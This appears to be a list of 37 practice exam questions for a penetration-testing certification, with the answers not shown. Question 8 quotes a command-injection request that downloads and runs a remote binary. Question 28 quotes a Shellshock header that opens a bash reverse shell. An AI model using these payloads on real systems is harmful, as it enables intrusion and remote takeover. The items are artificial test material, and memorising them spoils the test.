MoreExam
1. Question Content...
EXPLANATION
Answer: X - EXPLANATION Content.
Question1: A software development team is concerned that a new product's 64-bit Windows binaries can be deconstructed to the underlying code. Which of the following tools can a penetration tester utilize to help the team gauge what an attacker might see in the binaries?
Question2: Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:
Question3: A penetration tester ran the following command on a staging server:python -m SimpleHTTPServer 9891Which of the following commands could be used to download a file named exploit to a target machine for execution?
Question4: Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?
Question5: Performing a penetration test against an environment with SCADA devices brings additional safety risk because the:
Question6: A penetration tester is working on a scoping document with a new client. The methodology the client uses includes the following:Pre-engagement interaction (scoping and ROE)Intelligence gathering (reconnaissance)Threat modelingVulnerability analysisExploitation and post exploitationReportingWhich of the following methodologies does the client use?
Question7: A tester who is performing a penetration test on a website receives the following output:Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 Which of the following commands can be used to further attack the website?
Question8: A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:exploit = "POST "exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}./apache'%0A%27&loginUser=a&Pwd=a" exploit += "HTTP/1.1" Which of the following commands should the penetration tester run post-engagement?
Question9: A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?
Question10: Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?
Question11: A penetration tester discovers during a recent test that an employee in the accounting department has been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to prevent this type of activity in the future?
Question12: You are a penetration tester running port scans on a server.INSTRUCTIONSPart 1: Given the output, construct the command that was used to generate this output from the available options.Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Question13: A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?
Question14: A penetration tester writes the following script:Which of the following objectives is the tester attempting to achieve?
Question15: A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?
Question16: A company conducted a simulated phishing attack by sending its employees emails that included a link to a site that mimicked the corporate SSO portal. Eighty percent of the employees who received the email clicked the link and provided their corporate credentials on the fake site. Which of the following recommendations would BEST address this situation?
Question17: A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant. The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?
Question18: Which of the following documents describes specific activities, deliverables, and schedules for a penetration tester?
Question19: A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?
Question20: A penetration tester is scanning a corporate lab network for potentially vulnerable services. Which of the following Nmap commands will return vulnerable ports that might be interesting to a potential attacker?
Question21: Appending string values onto another string is called:
Question22: A penetration tester runs the unshadow command on a machine. Which of the following tools will the tester most likely use NEXT?
Question23: A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?
Question24: A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?
Question25: A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?
Question26: Which of the following is the MOST effective person to validate results from a penetration test?
Question27: A penetration tester has obtained a low-privilege shell on a Windows server with a default configuration and now wants to explore the ability to exploit misconfigured service permissions. Which of the following commands would help the tester START this process?
Question28: A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code:exploits = {"User-Agent": "() { ignored;};/bin/bash -i>& /dev/tcp/127.0.0.1/9090 0>&1", "Accept": "text/html,application/xhtml+xml,application/xml"} Which of the following edits should the tester make to the script to determine the user context in which the server is being run?
Question29: A company becomes concerned when the security alarms are triggered during a penetration test. Which of the following should the company do NEXT?
Question30: A penetration tester obtained the following results after scanning a web server using the dirb utility:...GENERATED WORDS: 4612---- Scanning URL: http://10.2.10.13/ ----+ http://10.2.10.13/about (CODE:200|SIZE:1520)+ http://10.2.10.13/home.html (CODE:200|SIZE:214)+ http://10.2.10.13/index.html (CODE:200|SIZE:214)+ http://10.2.10.13/info (CODE:200|SIZE:214)...DOWNLOADED: 4612 - FOUND: 4Which of the following elements is MOST likely to contain useful information for the penetration tester?
Question31: A consultant is reviewing the following output after reports of intermittent connectivity issues:? (192.168.1.1) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]? (192.168.1.12) at 34:a4:be:09:44:f4 on en0 ifscope [ethernet]? (192.168.1.17) at 92:60:29:12:ac:d2 on en0 ifscope [ethernet]? (192.168.1.34) at 88:de:a9:12:ce:fb on en0 ifscope [ethernet]? (192.168.1.136) at 0a:d1:fa:b1:01:67 on en0 ifscope [ethernet]? (192.168.1.255) at ff:ff:ff:ff:ff:ff on en0 ifscope [ethernet]? (224.0.0.251) at 01:02:5e:7f:ff:fa on en0 ifscope permanent [ethernet]? (239.255.255.250) at ff:ff:ff:ff:ff:ff on en0 ifscope permanent [ethernet] Which of the following is MOST likely to be reported by the consultant?
Question32: A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?
Question33: You are a security analyst tasked with hardening a web server.You have been given a list of HTTP payloads that were flagged as malicious.INSTRUCTIONSGiven the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.
Question34: A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?
Question35: In the process of active service enumeration, a penetration tester identifies an SMTP daemon running on one of the target company's servers. Which of the following actions would BEST enable the tester to perform phishing in a later stage of the assessment?
Question36: A penetration tester has been contracted to review wireless security. The tester has deployed a malicious wireless AP that mimics the configuration of the target enterprise WiFi. The penetration tester now wants to try to force nearby wireless stations to connect to the malicious AP. Which of the following steps should the tester take NEXT?
Question37: A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging. Which of the following techniques would BEST accomplish this goal?
